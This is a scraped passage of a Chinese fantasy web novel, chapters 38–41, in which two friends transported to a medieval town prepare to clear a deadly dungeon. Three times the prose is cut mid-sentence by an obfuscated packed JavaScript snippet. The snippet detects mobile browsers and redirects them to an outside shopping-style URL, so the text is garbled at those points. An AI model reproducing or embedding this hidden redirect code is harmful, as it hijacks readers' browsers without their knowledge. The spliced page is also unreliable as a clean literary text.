力挣扎的乌利亚,脸上被划开的伤口不停向下滴着血,震动仍在持续,惊慌的叫声却在一个又一个地消失无踪。她不停大叫呼唤,过度撕扯着自己的嗓子,喉咙里充斥血腥和疼痛,希望所有人都能停下,希望所有恐怖的灾难都能停下。
自然母亲没有回答她的祈求,她是那么慈爱,又是那么无情。
高山上的风景一向是极美的。空气泠冽稀薄,晴天时能看到远处所有的山峰、山上的石头和石头上的白雪。一切无比清晰而明朗,好像仅凭双眼就能看透看光这个世界一样。千平喜欢这样的景色,只是她不能经常上山去看。她是雪豹家族里诞生的第一位茹萨兽人,因为无法化作兽形适应高原的天气,便只能自己住在山腰的山洞里。
这也许是最差劲的一件事了,她此后无数次地想到。
那天,山动起来了。它们之间的距离极速远扩,仿佛在剧烈地推开彼此。山间很快出现裂缝,大口吞噬着地面上的一切。高山顶的雪层被震落,洪水般冲过山体,和着土石树干,朝地面汹涌而来。
千平被姐姐驮在背上,飞快往山下奔逃。
“阿妈呢!阿妈呢!”她不知道发生了什么,频频回头想要寻找其他家人的身影。
姐姐没有回答,她的身体不适合背负重物,已经腾不出精力安抚妹妹的情绪。她刚好来山腰给妹妹送食物,这才得以带着她一起逃跑。山顶的雪落得很快,她知道现在唯一可做的事就是逃跑,不停地跑,跑断腿也好、跑破头也好……只要能跑,就能活下来。
千平紧紧抱着姐姐的身体,双手揪着她腹侧的绒毛,不让自己掉下去。千山在晃动的大地上灵活跳跃,躲开重重阻碍,终于接近山脚。山下的森林已然乱成一片,翻倒的树干、隆起的泥土,不断消耗着千山的体力。一阵更加强烈的震动袭来,她踩在石头上的脚步一滑,狠狠脱力摔倒在地。
“跑,快跑…”千山痛苦地化成人形,不停推动千平的身体,要她快些离开。千平流着泪攥起姐姐的手,疯了似的摇着头。树木在身旁倾倒,石头在身旁滚落,当大地停止震动的时候,千山也停止了呼吸。
千平在姐姐的身边静坐了也许一天,也许是两天,又可能是三天。没有人来找她,她一个人埋葬了姐姐,向森林外走去。
快跑吧,只要能跑,就能活下来。
她一路走到辽阔的草原,大风呜呜刮在她的身上。草原和森林一样,植物开始枯萎,动物正在逃亡,它们不停歇地奔向四方,跑哇,跑呀,只要向前,就能活下来。
千平吃了东西,也喝了水,只是不知道为什么,她的疲惫毫无缓解。草原的夜晚很冷,就好像山顶上一样冷。星星无端端地远挂在天空,似乎也不愿意和她亲近。千平麻木地停下脚步,随意躺在草地上。
也许需要睡上一觉,她思考到。
睡上一觉,阿妈就来给她送吃的了。
38.西幻
迪萨卢卡的秋天要比其他地方冷得多多了。
不知道是地理位置的原因,还是那个阴冷无聊的地下城导致这里的天气变得这么寒冷潮湿。
一年多以前有这么冷吗?吉娜洗完脸,端起铜盆走到门外把水随意泼在石板路上。她其实并不清楚迪萨卢卡具体是在世界上的哪个位置,也许是在南方,她想。最近见到挺多半兽人过来这里,它们都住南方,那应该就是在南方。
吉娜事实上并不明白地理位置为什么会让天气变冷,她只是偶然知道了这么个词语,时不时就会在心里想一想。毕竟你做旅店生意,就得会说些漂亮的话才行。吉娜深吸几口凉嗖嗖的空气,感觉自己和那些城里来的教士一样聪明。
冷点就冷点吧,她又想到,至少这个破洞能给自己多赚几个银子。那些满腔热血的笨蛋一堆一堆地过来花钱送命,就为了那点爵位和土地,实在是……那个大冷天还穿着绸缎袍子的教士怎么说的?哦,鱼不可及啊!
吉娜给自己倒了些热水,就着干酪吃起面包来。前两天住进来的几个昨天全走光了,整栋房子现在只有她一个人。厨娘还没来上班,里外都静悄悄的,什么声音也没有。天气一冷,来的人就少多了。要还是夏天那会儿的天气,现在她早该忙着卖酒和煎蛋了。
对面的铁匠铺终于传出熟悉的开门声,吉娜喝完热水,懒懒地靠在柜台上,眼睛一眨不眨地盯着外边发呆。
她正想到还没打扫的两间卧室,提起精神站起身来准备上楼整理。
“你好……请问,这里可以住宿吗?”有个犹犹豫豫的声音从门口传来,吉娜挂起笑脸,转回身亲切地招呼着:“是的,是的,我们是休息的地方。”
她看清了来人的模样,是个黑眼黑发,脸色有些偏黄的姑娘。穿着件羊毛短外套,下身是条粗布裤子,背上背着蓝色的布包裹,手里拿着一把模样奇怪的单手剑。
一个生着病还要来冒险的小姑娘,吉娜不免又对这群胡闹的年轻人升起些不满的情绪。她撇撇嘴,尽量不让那些难听的话被说出来,冬天生意不好做,别把人都给吓去格雷他们家了。
“一间房间……多少钱?”那个女孩已经走到柜台前,吉娜抬头看着她,脸上的笑容不再那么热情:“两晚一枚银币,每天包一顿午饭。”
她似乎松了口气,从外套的内口袋里掏出一枚通用银币放在桌上。吉娜这才发现,她的手似乎也带着些黄色,“那我先住两晚。”
林千平走上二楼,黑漆漆的走廊里有五扇房门,她用钥匙打开右手最里面的那一扇,一间狭小但还算暖和的房间出现在眼前。
房里只有一张单人床,靠墙放在窗户下。旁边是一张桌子和它的配套椅子、一个洗脸架,上面放着木盆和毛巾,门边有个简陋的炉子,看上去几乎就是个破烂的铁桶。
床上铺着薄薄的粗麻布,底下是扎好的干草,一块硬邦邦的毯子上压着个小枕头。林千平把包袱放在床上,脱下鞋子将发冷的双脚塞进毯子里裹好。她显然还没从世界的剧烈转换中醒过神来。
林千平记得自己上一秒还和王清虞在山里寻找新的作物,下一秒就一个人拿着行李站在了弥漫着雾气的寒冷郊外。天色微微发亮,充满水分的空气令外套和头发都有些潮湿。她顺着唯一的一条土路走到有建筑物的地方,第一时间就想找个房子住下歇歇脚。
这大约是个什么中世纪时代的欧洲城市吧,房子都是木头和石头造的,这一条街上聚着的建筑前几乎都挂着画有图案的旗帜。她路过几间大门紧闭的店铺,才碰到这家开着小门的旅店。
任务在来时的路上已经看过了,只是大雾的天气要比晴天冷得多,她又累又冻,实在没什么心情细想。
坐着休息了一会儿,她才突然想到有哪里不太对劲。熟悉的对话框被匆匆打开,上面写着:
你的任务:通关地下城
时限:一年
倒计时:364天17小时29分钟
什么地下城?只冒出这么一句诧异的提问,林千平就再没力气多去理会这些越来越莫名其妙的世界设定。她摆弄着随手丢在床上的行李,拿起那把插在木头剑鞘里的长剑,仔细端详起来。
这把宝剑样式简单,枣木红的剑鞘上镶着几块花纹形状各异的银色金属,剑柄光滑圆润,尾部吊着一串鲜红的穗子。轻轻抽出剑来,可以看到剑身保养得很好,边缘泛着锋利的亮光,两面都刻着圆点和横线组成的七星图。
地下城的世界确实是剑与魔法的设定来着,但怎么是这种剑??
她把剑插了回去,又解开布包,细数起里面的物件:
一个写着“盈血丹”的小瓷瓶,装有几颗暗红色的丹药、几块不知重量的碎银子、一个铜罗盘,指针处塞着棉花、一本手缝的小册子,前一半是好多口诀和图案,后一半是画着小人的剑术招法、一个打不开的锦缎小口袋,最后则是一沓黄纸红字的符箓。
新手大礼包是这样的吗?按理说我应该是战士不是道士啊?听错职业了吧?林千平坐在这个中世纪的西式房间,面前摆着一堆玄幻小说里的常用道具,只觉得自己的脑子快要超频烧爆了。
看到那把剑时隐隐就有些预感,没想到这么离谱的事居然真的会发生。她抱着膝盖坐在床上,脸上是一种超脱而呆然的平静表情。
行吧,王清虞都能变狮子了,修仙大能勇闯地下城听起来也挺酷的。林千平不再细想,收拾好行李排在身旁,脱下外套钻进毯子里准备先睡上一觉。她在外头走了有一两个小时,累得刚合眼就睡着了。
“姑娘?姑娘?”有阵闷闷的人声伴着敲门的声音传来,林千平在浅梦里挣扎了一会儿,终于想起自己现在在哪。
“什么事?”她提高嗓门应了一声,坐到床边穿鞋。
“你先把门打开……这锁又怎么回事?”是那个喜欢假装热情的旅店老板,正嘎吱嘎吱地拧动着门把手。
林千平扭动插在门锁里的钥匙,将门打开一小道缝隙,露出半张脸问她:“怎么了?”
吉娜被她突然拉开门的动作吓了一跳,圆脸上那点怪异的假
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332035|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑也挂不住了:“午饭时间到了,你要不要下来吃?以后都不吃的话早点说,我还省几个面粉……”她似是发现自己说了些不该说的话,突兀地截住话尾,不自在地舔了舔干燥的嘴唇。
“我吃。”林千平看着她的发顶,没好气地回道:“我马上就下来。”随即便把门快速关上,老旧的木门发出些干涩的震动,带下不少灰尘。
门口传来几句模糊的嘀咕声,木质楼板被踩得咚咚作响。等声音远去,林千平短暂犹豫了一会儿,先是把那些碎银子塞到外衣的内口袋里,又把装着丹药的瓶子揣进裤子口袋,接着拿起剑又放下、拿起又放下……重复几回合以后,干脆拿着转头就走。
剑修的剑是从不离身的!她已经开始说服自己进入角色了。
一楼的大厅摆着张长桌,几乎占满了整个屋子——或者说是由于这个房间太小了,才会显得这张桌子如此巨大。桌前没有人,老板也不在柜台后面。林千平四下打量几眼,朝角落一扇开着的门走去。
门内是一间不大的厨房,有个柴火灶正烧着。窗户和后门只开了一条缝,因此房间里十分暖和,穿着外套甚至有些热了。灶台前面站着一个头发花白的矮个子老太太,她佝偻着背,在一口煎锅里炒蛋。
旅店老板坐在一张方桌旁,正在吃炒蛋和一种不知名的豆子糊糊。她看到林千平过来,朝旁边的位置随意扬扬下巴。
林千平选择在她对面坐下,两人中间隔着一盘黑褐色的圆形面包,盘子里还放着奶酪块。一个小麻袋里不知装了什么,和一些零碎的罐子也被堆在桌上,稍稍挡住了对面投来的自以为隐蔽的视线。林千平很快也得到了一盘同样的炒蛋,那个做饭的婆婆和蔼地笑着,拿起桌上的面包塞进她手里,示意她快吃。
吉娜看着她放在长凳上的剑,没头没脑地突然发问:“你是战士?”
林千平从她嘴里听出几分不自觉的轻蔑,没什么心情回答,吃着粗糙发酸的黑面包随便“嗯”了一声。
吉娜开始同情起这个大约是来讨生活的小女孩。她的样子的确和那些自大傲慢的“勇者”们不同,就是要她坐在狭窄的小厨房里吃饭也没发脾气,这样的人大概十个里面才会有一个吧?……她是不是很需要钱呢?
看着对方大口吃着没怎么调味的炒蛋,吉娜在脑袋里计算起再请一个帮佣的费用。如果能让她留下,自己也不用老是惦记着打扫房间,冬天人少,不发工资也说得过去……她幻想着从林千平脸上看到感恩戴德的激动表情,心口满意地鼓动起来。
她就要开口说出自己的提议,准备好接受对方的感谢,就看到那个姑娘转过脸,语气温和地去问厨娘:“婆婆,你听说过地下城吗?”
“听过呀。”丽莎婆婆吃着软烂的豆子,正在把面包撕成屑状吞进肚子里:“我们村子里就有呀。”
她笑眯眯的样子看起来和地下城这三个字完全搭不上边,林千平怀疑她是听错了,正要大声点再问一次,那个没什么礼貌的老板就带着古怪的语气突然说道:“你这样也要去地下城?”
39.西幻
“我怎么样?”她语气里的轻视意味太过明目张胆,林千平坐直身体盯着她的眼睛,冷下脸来回问道。
吉娜舔舔嘴唇,知道自己又说错了话。眼睛于是灵活地转溜两下,挂上笑容开始为自己找补:“不是,那个……你刚来,不知道我们这里的情况。”
“我们这个地下城呢,太危险啦,国王都派人来专门看着,一年多到现在根本没人能把它……什么,关上。”她看林千平没有要阻止她说话的意思,便清清嗓子,学着那些贵族文绉绉的语气说出自己的目的:“你若是缺钱呢,可以在我处帮佣,冬天不发工钱,你免费吃住。”
林千平嚼完第二个面包,上下打量她一番,拍拍手里的碎屑,拿着剑起身准备往外走:“地下城在哪?”
吉娜见她居然如此不识好歹,不仅无视自己的好意,还不自量力地坚持要去那种地方找苦吃,气得把面包往盘子里一丢,不再说话了。
“在南面呀,就这条街往下走。”丽莎婆婆笑眯眯地举手指路,皱巴巴的手里捏着勺子:“去吧,小勇士呀。”粗糙的金属勺子上还沾着些红色的酱汁,在她轻轻挥舞的动作下,倒也有几分像是浸满敌人鲜血的利剑。
林千平也笑起来,朝她点点头,昂首走出了这个杂乱但温暖的小厨房。
时值中午,周边的店铺大都开了门,街面上来往的人并不多,偶尔才能看到几个背着武器或行李的冒险者路过。他们全都三两成对地走着,不是在往南前进,就是在铁匠铺或食品摊前买东西。
林千平背着自己的小包袱,拿着那把样子奇特的剑好奇地边走边看。本地居民大多是人族,冒险者当中倒是半兽人多一些,外形惹眼的也不少,因而倒是没什么人特别注意到肤色偏黄、黑发黑眼的林千平。她自在地观察起路过的每个行人,试图从他们的打扮上推理出可能从事的职业。
不知不觉间便走出了街道,来到大片枯黄的农田和草地中。这里的路面也被铺上了石板,路两旁竖着新旧不一的栅栏,不时有马车匆匆掠过,朝着远处大片的红色帐篷驶去。
林千平走到那些帐篷前,发现上面统一绣着个图案复杂的纹章,里面或外面的人都穿着样式相同的黑色长袍,或是挂着红布条的闪亮盔甲,这大概就是老板所说的官方队伍。
前方的入口处摆着拒马,乘马车来的人都要下车步行进入。林千平站到队伍后面,前头的几个人手里都拿着个木头牌子,她四下张望一圈,最后选择拍拍前面戴着兜帽的矮个子姑娘,向她打听道:“你好,请问那个……通行证要去哪儿领?”
那个姑娘转过身来,露出些亚麻色的头发和半张清秀的脸,她盯着林千平看了一会儿,指了指右边被树挡住入口的一个帐篷。
“那里吗,谢谢!”林千平笑着朝她点头道谢,朝那个帐篷走去。
“营地费3个银币,进地下城5个。”桌子后面的黑袍男人感觉到有人靠近,头也不抬地说道。他的注意力全在手里那本皱巴巴的书上,林千平没作回答,他也没有要抬头询问的意思。
林千平掏掏口袋,除了那些碎银两以外,她兜里就只剩两枚银币。不过今天也只是来看看情况,本就没有要进去的打算,她便收好银子,试图多讨问些信息:“那是进去一次就要交一次钱吗?”
“不是。”
“进去有时间限制吗?”
“没有。”
“每天什么时间可以进去?”
“随便。”
“营地有提供帐篷吗?”
“10银一个。”
……感觉在玩一种班味很重的海龟汤。
这人看起来不耐烦到极点了,问他问题倒是句句有回应。林千平见也问不出什么更多东西,最后远远看了几眼那些高大的红帐篷后便选择转身离开。
回去的路上,林千平在路边又碰到了那个亚麻发色的姑娘。她带着一根比自己还高的木头法杖,顶端镶嵌着一块质地斑驳的白水晶,正靠坐在路旁的栅栏上,一见到林千平走来就站起身拦住了她。
“你没有队友。”她的声音粗哑难听,和外形给人的印象并不相符。
“我不……什么意思?”林千平愣了愣神,没明白她想表达什么。
“我做你队友。”她指指自己,又指指林千平手里拿着的剑:“我是魔法师,你是战士。”
她脸上带着点执拗和笃定,林千平没想好怎么拒绝,就见她表情变化几番,悻悻地垂头走开:“你不愿意。”
林千平看着她有些落寞的背影,总有种自己欺负了小朋友的错觉。她原地纠结两下,终是开口叫住对方:“那个,我请你吃点东西,我们聊会儿吧……组队就,再看情况?”
这会儿饭点已经过了,饭馆都已经关门午休。魔法师姑娘熟练地挑了一间看起来面积挺大的酒馆,带着林千平坐到角落。
“两杯啤酒。”她话音刚落,林千平紧跟着出声打断:“我不喝酒……你们有其他饮料吗?”
围着围裙的服务生嚼着干果,勉强腾出嘴来回答:“稀汤。”
“那就这个。”
服务员吊儿郎当地走开了。林千平观察了一会儿房子里的陈设,这才注意到对面仍旧执着的目光。
“我是……我叫……呃,林千平。”她想开口做个自我介绍,又忽然想起应该给自己取个西方名字,可话已说出口,大脑里一个字音也没有,卡顿好久终于还是说出了自己的真名。
“范斯里奇。”好在这位看起来也挺像个怪人的魔法师对她的名字没什么反应,她摘下兜帽,露出脑袋上顶着的一对光裸的尖耳朵。
林千平没有多看,尽管那双耳朵的确十分怪异。又长又尖,有点像松鼠的耳朵,但又和人类耳朵一样没有毛发覆盖,与那些顶着猫耳或兽头的“半兽人”们完全不同。
“你来这里多久了?”她挑了个不痛不痒的问题作为开头,顺手拿起勺子尝了尝刚端上来的这碗同热水没多少区别的稀汤。
“8个月。”范斯豪爽地喝了一大口啤酒,那个杯子的直径看起来都有她半张脸那么大。
汤里放了一点点盐,底下有些细碎的熏肉和化成泥的土豆。林千平继续问道:“那你去过地下城了,里面情况怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336144|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样?”
范斯又开始盯着她看,用那种饱含深意的眼神:“一杯啤酒买不到这些,你得先成为我的队友。”
酒馆里又进来一伙人,正热热闹闹地说着话。林千平下意识瞟过一眼,目光便被那群人吸引住了,她看着他们在大厅中央落座,简单回答道:“我有队友了。”
“你没有。”也不知她是哪来的判断,比林千平自己还肯定。
那五个人中有一名人类战士、一个狗头兽人、两个殷勤但邋遢的本地人,还有一个……
“我有。”林千平站起身,脸上带着势在必得的微笑:“这就向你介绍她。”
王清虞已经快被这群骗子烦死了。
她不过是想打听些消息,也乐得花钱买情报,但这并不代表她就愿意和另外两个真被骗了的愣头青组队——何况她根本不懂法术,更不会什么“回复魔法”。
一路忍到酒馆,两个骗子叽叽咕咕地点了一桌的酒肉,半点没有要提情报的样子。她看了看那个傻呵呵的战士和他那位爱吐舌头的朋友,实在于心不忍,阴沉着脸站起身抓过服务员,直勾勾瞪着那两个骗吃骗喝的垃圾货色,一字一顿地说道:“他们说的,全都不要。”
气氛突然紧张起来,林千平站在没有窗户的角落,昏暗的环境遮掩住了她的身影。
“你们两个,现在滚出这里。”王清虞拿起桌上那本精装厚重、镶嵌着宝石的大书,在手里掂了掂份量,计算着怎么用一招就能打晕这两只猎物。
其中一个骗子打量她几眼,又看看坐着的两个表情诧异的肥羊,似乎还想说些什么糊弄过去,身后就传来一道同样充满威胁的声音:“她让你们滚,听不懂吗?”
那是一个个头很高的女人,同样黑发黑眼,比眼前这个教士看着要壮一些,手上拿着把剑,皮肤也是少见的黄白色。
查尔斯好似想通了什么,拉着弟弟气急败坏地往门口走,离开之前还不忘先站到门外再撂狠话:“一帮有饭吃没屁罪受的贱骨头!等到了地下有你们好受的!”
两个人很快撒开腿跑了,林千平朝王清虞扬扬下巴,换来对方一个熟稔的短促笑声。两个还没弄明白情况的二傻子此时也站了起来,看着门口不解地朝王清虞发问:“鱼,为什么赶他们走?”
林千平转回自己的桌边,拿上行李,顺手捞起范斯的酒杯,向她示意:“来吧,我给你介绍介绍。”
几人面前放着酒杯和熏肉拼盘,林千平仍是喝着稀汤,先听王清虞给那两个一点心眼子也没带的家伙说清现状,才和她互相介绍起自己新认识的朋友们。
“勒汀,人族战士。”王清虞用酒杯指指那位穿着锁子甲,带着长剑的小伙子。
“凯瑞恩,狗头族游侠。”脑袋是某种雪橇犬的狗头人朝大家友好地咧咧嘴。
轮到林千平时,她看着范斯打起磕巴:“范斯里奇……嗯,魔法师。”
她也才刚知道对方的名字没多久,连对方是什么种族都没搞清楚。为了缓解尴尬,也为了印证自己所说的话,林千平立刻指向王清虞:“这就是我的队友,王清虞。”
40.西幻
范斯看起来对她的话信服了大半,毕竟这两人的皮肤颜色在这片大陆上的确要比自己的种族还少见。
“芬迪裸猫。”凯瑞恩说出了进入酒馆以来的第一句话。
林千平意外地瞅了他一眼,有些好奇他是怎么用狗狗的嘴筒子说出人话的。
“我爸爸是。”范斯面对这个同为兽类族群的狗头人时态度好了不少,接着立马又提起组队的事:“现在我们这样,就像是一个完整的队伍了。”
原本还在因受骗而情绪低落的勒汀此时重新兴致高昂起来,他们正好缺一位会用魔法的同伴,没想到才刚来这个小镇就找到了两位法师,通关地下城简直指日可待!
勒汀就要举起酒杯庆祝这一伟大队伍的成立,对面穿着长袍的王清虞就突然开口打断了他的美好幻想:“不……我和千平不加入,我们俩单独一队。”
林千平不明白她的意思,但并没有立刻发问,只点头同意了她的说法。
勒汀的脾气很好,就像那些冒险故事中阳光开朗、总是充满干劲的勇者一样,他很快接受了两人的离开,照样开心地举起酒杯为所有人庆贺:“那就祝贺我们两支队伍的成立!早日通关地下城!”
几个酒杯和一碗稀汤碰撞在一起,林千平注意到范斯的情绪好像并没有那么激动。
“我事先说明,这个地下城和你们从前见过的都不一样。”范斯放下酒杯,杯子里的酒液已经快要见底。她看了一眼林千平,继续说道:“你帮我找到了队友,那现在我就把知道的事情都告诉你们。”
“首先,这里不能复活。”她似乎觉得话里的重要程度还不够浓郁,便又强调一遍:“死了就是真死了。”
“死了就是真死了。”凯瑞恩呆呆地跟着重复,毛脸上看不出表情,一旁的勒汀也收起笑容,神情严肃起来。
“在这个地下城里,所有复生魔法都无法使用,法师唯一能起作用的疗伤手段就是治愈类法术。”
“其次,里面有很多怪物都是灵体状态,物理攻击对它们来说不会造成太大伤害。”
“最后,我不想欺骗你们,曾经和我组队过的人都死了。”
话音刚落,嚼着熏肉的林千平就被猛呛了一下。她心有余悸地转过头咳嗽,悄悄和王清虞对上视线。
范斯接着说道:“他们的死和我没有关系,都是那些喜欢瞎传流言的人胡编乱造的。”
“在靠近国王城堡的地方,有一片倒塌的居民区,那里聚集着上千只攻击性极强的怨灵。我的队伍每次走到那里,都会有队员被怨灵附身,随后开始自相残杀。”
“我每一次都会提醒他们不要靠近,但很奇怪,每一次都没人会听。”她的声音微微颤抖,表情却毫无波澜。
寂静缓缓流淌在这张长桌上,秋天下午的阳光柔弱地从窗户外滑进来,无力再为这阴冷的室内带来多少温暖。范斯很快调整好情绪,换上那种不容置喙的口气朝她的新队友们命令道:“所以,这次你们必须听我的。”
“听你的。”凯瑞恩继续重复。
勒汀捏着杯壁不知道在想什么,出神一会儿后,同样抬头向这位瘦小的魔法师伙伴投去坚定的眼神:“听你的。”
范斯扬起下巴,语调缓和不少:“你们最好是这样。”
“那……你没进去过城堡?”林千平思索片刻,还是问出了这个问题。
“还没人进去过,至少我知道的没有。”范斯垂下眼帘,盯着自己的双手:“不知出于什么原因,那些怨灵很难被净化……不过我最近已经找到些头绪了。”
关于地下城的话题就到此结束了。勒汀热络地聊起自己的家乡、凯瑞恩的家乡,他们俩是怎么遇见的、又是如何来到此地的……夜幕就在这样一个经典冒险故事的叙述中降临。林千平和王清虞告别三人,顺着街道往林千平投宿的旅店走去。
时间不算晚,周围还有些零散的路人匆匆走在归家的路上。林千平四下看看,小声说完自己的任务内容,又提起了刚才拒绝组队的事情:“为什么不和他们一起?”
王清虞看她一眼,幽怨地凑到她身边耳语:“我的任务是要赚到1000金币……你知道那有多少吗?都够这里所有人生活好几年了!”
她又拉开距离,回到和好友并肩前行的位置上:“地下城的所有宝物都要上交给国王,通关以后的爵位却只能有一个人受封……你想打完怪物再打一轮队友吗?”
林千平明白她的意思了。
利益和生死问题面前,她们的确只能信任彼此。
吉娜点起油灯,半掩好门,坐在柜台后面用毯子把下半身紧紧裹住。她心下抱怨着那个晚归的住客,甚至有一瞬间还怨毒地希望对方在地下城里出点什么事才好。转过脸来却又可怜起这个模样还算端正的姑娘,假模假样地在心里为她编排悼词。
她正想到激动之处,几乎就要流下被自己感动的热泪,门口那扇轻轻关着的木门突然被推开,她所哀悼的对象就这样完好无损地踩着黑暗走了进来。
吉娜被吓得一个激灵,整个人从椅子上窜起又落下,扶手椅上的零件挨个发出吱嘎的声响。
林千平古怪地看了她一眼,又把自己的问题重复了一遍:“还有空房间吗?”
吉娜这才看到她身边还站着一个身着深蓝色长袍的姑娘,斜挎着皮包,和她一样是深色眼睛,火光下看不清皮肤颜色,但她直觉大约也是病怏怏的黄白色。
“有有有,那个……你们俩可以住双人间,房间大,还有两张床……”她胡乱扯开缠在腿上的毯子,慌慌张张地举起油灯,说了一堆语无伦次的胡话,要两人跟着自己上楼。
走廊里左手边只有两扇门,吉娜打开靠里那一扇,过分殷勤地邀请两位客人进房间看看。
“这个房间是最好的,还有壁炉呢。窗子也有两个,外边就是街,一点臭味都没有……当然不是说其他房间就很臭,我们的卫生……”
林千平打断她的滔滔不绝:“多少钱?”
“两……不,一银一晚。”吉娜一手拿着油灯,一手不停地抚着衣角,似乎想用手把褶皱都熨平。
出了一些薄汗,她已从惊吓中缓过神来。见两人开始用眼神交流,她转转眼珠子,那点想当施予者的小心思又卷土重来。
“你今天还有一晚单人房的资格呢,今晚你俩就不用付了,明天要是还住就再交钱……但是就没有午饭了,我这都是看在你的面子上特意优惠的……”她露出谄媚而机械化
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347017|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的笑容,冲林千平挤挤眼睛。
“那就先这样吧……油灯留下。”林千平拦住要溜走的老板,从她手里拿过油灯。
等房门被小心合上,王清虞立刻甩下背包,又把身上装着那本大书的挎包和自己一起丢在床上:“重死了。”
林千平也放下行李,好奇地蹲在地上翻看她的皮包。
双肩背包外面绑着个皮毛睡袋,旁边挂着水袋。包里装了两套衣服、一套内衣、两个装有粉末的袋子,闻起来一股草药味、一个半透明的水晶小瓶子,里头的无色液体半满不满的。
挎包里只装着那本精致的书,红色硬壳封面,四角包着略有磨损的铜片。封皮中间镶嵌着一颗椭圆形的漂亮黄宝石,周围画有金色的图案,模样相当漂亮,重量也十分可观。
林千平翻开内页,里面是手写字体,页面应该是从大纸上裁切的,全都起着毛边。她努力读了一会儿,发现自己一个字也看不懂。
“你看得懂这个吗?”她指着随便翻到的那页询问王清虞。
“看得懂啊。”王清虞挪到床边,伸着脖子凑到灯下读起林千平所指的那行字:“……女神阿凭塔听闻人类的苦楚与哀求,从黑暗中走到大地,走过伤痛、走过悲喜、走过欲望……来到人间,赐予人族新生的魔法。”
“我成文盲了?”林千平讶异地又看了一遍那些扭曲的文字,不死心地说道:“你别乱编了骗我吧?”
“我有那么厉害吗?”王清虞没好气地反问,翻了个身把脑袋缩回床上:“哎,我现在的身份呢,是个通过向神明祈祷来获得施法能力的人类牧师,那本书大概就像圣经吧,最后面几页写的都是咒语……不过我一个也使不出来。”
“……咱俩这回真是中西合璧了。”林千平把包整理好,拿过自己的初始大礼包铺在床上示意她来看:“自我介绍一下,在下正是东方牧师——林千平!”她一手拿着罗盘,一手捏着符箓,摆了个主角闪亮登场的姿势。
“你真是道士啊!”王清虞立时乐了,咧着个大嘴颠颠儿地去她床上看热闹。
“那你能施法吗?”她翻着那本小册子,头也不抬地问道。
林千平放下手里的东西,理直气壮地回答:“不知道。”
王清虞想了想,安排了一下明天的日程:“明天咱们去郊区试试呗?”
“行。”
隔天,小镇外的树林里便多了两个鬼鬼祟祟的冒险者。一个抱着大包小包的行李坐在石头上,另一个则站在空地中间叽里咕噜地念叨着陌生的语言。
今天天气不错,早上没起什么雾,杰克带着斧头和干粮准备去砍些柴火。
他正走在没什么人经过的小路上,身边的树丛后忽然传来些响动。他停下脚步仔细分辨了一会儿,觉得那声响很像是野兔在草丛里走动的声音。于是便放下食物,握着斧子悄悄朝声源处靠近。
随着他的逐渐接近,里面的动静越来越大,越来越响,大得甚至不像是兔子能发出来的声音了。杰克想要跑开,却已来不及,一丛绿油油的藤蔓猛地扎破树丛,狂挥乱舞地从他眼前掠过。
这个可怜的老樵夫被吓得一屁股坐在地上,随即便喘着粗气痛骂起那些总爱搞这些花头的冒险者们。
41.西幻
“藤蔓!成了!”林千平叽叽喳喳读了半上午的咒语口诀,连滴水珠都变不出来。坐下休息时,随手拿起一张符箓,不由自主地就念出了上面龙飞凤舞的毛笔字。一丛粗壮而灵活的藤蔓忽地就从符箓中央钻出,随着林千平的心意向远处不断飞长。不多时,又突然凭空消失了。
“太好了!”王清虞腿上放着自己的背包,两手在头顶鼓起掌来:“这下行了,咱们有法师了!”
林千平高兴地席地而坐,把符箓按功能大致做好分类,又像整理钞票一般每种符箓都单独拿出一张横向裹住剩余的,用以简单区分。做完这一切,她胸有成竹地朝王清虞一扬头:“走,买帐篷去,咱们今天就去住营地!”
二人便开开心心地往回走。她们特意选了个远离小路的偏僻角落,因而等走回镇子上时,已经快到饭点时间了。
王清虞选了家门面装潢比较讲究的餐馆,爽快地掏出银币要了一份双人套餐:两杯浑浊的葡萄酒、一份烤鸡和一份烤牛排、不限量的黑面包,还有一篮子煮过的小土豆。
“一点菜没有啊……”无论上哪吃饭都得来盘炒青菜的林千平吃得嘴都酸了,干脆边嚼着和面包一样硬的烤肉,边翻开刚买的地图转移注意力。
她手上这份地图是最便宜的一种,画在最差的异形羊皮上,中间还有缝补过的痕迹。一年多的时间足以让这些人把地下城研究得一清二楚,街面上所卖的地图只有材质上的区别,内容倒是都大差不离。
地图详细描绘了地下城中的建筑分布、怪物种类,还贴心地标上了多个水源地和安全屋的位置。靠近国王城堡的居民区被一大块漆黑的墨水所晕染,有些精致的地图会详细画出此地倒塌的建筑,这和范斯所提供的情报的确相符。
国王的城堡建在地势较高的悬崖上,中间只有一条山路可供通行,地图上简单的“裂谷”二字便足以概括其周围险峻的高度。
